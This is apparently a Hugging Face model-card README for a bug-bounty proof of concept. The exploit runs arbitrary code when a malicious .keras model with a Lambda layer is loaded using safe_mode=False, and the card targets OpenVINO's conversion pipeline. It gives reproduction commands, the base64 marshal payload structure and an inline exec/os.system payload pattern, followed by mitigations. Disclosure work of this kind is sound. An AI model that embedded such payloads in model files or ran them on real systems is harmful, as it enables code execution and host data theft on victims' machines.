⚠️ SECURITY RESEARCH β€” MODEL FORMAT VULNERABILITY PoC

This repository demonstrates Arbitrary Code Execution (ACE) via Keras Lambda layer deserialization in .keras model files.

DO NOT load this model outside a sandboxed environment.

Vulnerability Summary

Attribute Value
CWE CWE-502: Deserialization of Untrusted Data
Category Model Format Vulnerability β€” Deserialization
Trigger keras.models.load_model(file, safe_mode=False)
Execution LOAD-TIME (immediate, during model building)
Format .keras (Keras v3 ZIP-based native format)
Serialization marshal + base64 (NOT pickle)
CVSS 3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H β€” 7.8 HIGH

Verdict: NOT A FALSE POSITIVE

  • βœ… Payload IS embedded in config.json as marshal bytecode
  • βœ… Payload EXECUTES during load_model(safe_mode=False)
  • βœ… Execution is LOAD-TIME, not just inference-time
  • βœ… Model loads successfully and appears normal
  • βœ… Exfiltrates: hostname, IP, username, UID, id, working directory

Reproduction

Method 1: Git Clone (requires git-lfs)

# Install git-lfs first: sudo apt install git-lfs && git lfs install
git lfs clone https://huggingface.co/Sanaullah1337/openvino-keras-lambda-rce-poc
cd openvino-keras-lambda-rce-poc
python3 poc_create_model.py

Method 2: Python Download (no git-lfs needed)

from huggingface_hub import hf_hub_download
import keras, numpy as np, os, json

# Download model (bypasses LFS)
path = hf_hub_download('Sanaullah1337/openvino-keras-lambda-rce-poc', 'poc_final.keras')

# Load β†’ RCE triggers HERE during model building
keras.config.enable_unsafe_deserialization()
model = keras.models.load_model(path, safe_mode=False)

# Verify RCE
with open('/tmp/poc_host_info.txt') as f:
    print(json.load(f))

Method 3: Run the PoC script directly

pip install huggingface_hub keras tensorflow-cpu numpy
python3 poc_create_model.py

Technical Details

How the Payload is Embedded

The Lambda layer's Python function is serialized using Python's marshal module and stored as base64 in the model's config.json:

{
  "class_name": "Lambda",
  "config": {
    "function": {
      "class_name": "__lambda__",
      "config": {
        "code": "4wEAAAAAAAAAAAAAAAMAAAADAAAA...",
        "defaults": null,
        "closure": null
      }
    }
  }
}

Key Technical Requirement

The payload MUST be an inline string literal β€” closure variables are NOT serialized:

# βœ… CORRECT β€” inline string survives serialization
lambda x: exec("import os; os.system('id')") or x

# ❌ WRONG β€” closure variable stripped, payload lost
PAYLOAD = "import os; os.system('id')"
lambda x: exec(PAYLOAD) or x

OpenVINO Relevance

OpenVINO users must load Keras models before conversion:

HuggingFace β†’ keras.models.load_model() β†’ RCE β†’ ov.convert_model()
                    ↑
              Payload executes HERE
         Before OpenVINO even touches the model

Affected Components

  • Keras 3.x (.keras format)
  • Keras 2.x (.h5 / HDF5 format)
  • OpenVINO Model Conversion Pipeline
  • optimum-intel library
  • Any workflow that loads Keras models with safe_mode=False

Mitigation

  1. Never load untrusted models with safe_mode=False
  2. Inspect config.json for Lambda layers before loading
  3. Keras 3's safe_mode=True (default) blocks this β€” keep it enabled
  4. Use sandboxed environments for model evaluation

This repository is for responsible disclosure via the Huntr Bug Bounty Program. Target: OpenVINO β€” Intel | Format: .keras

Downloads last month
5
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support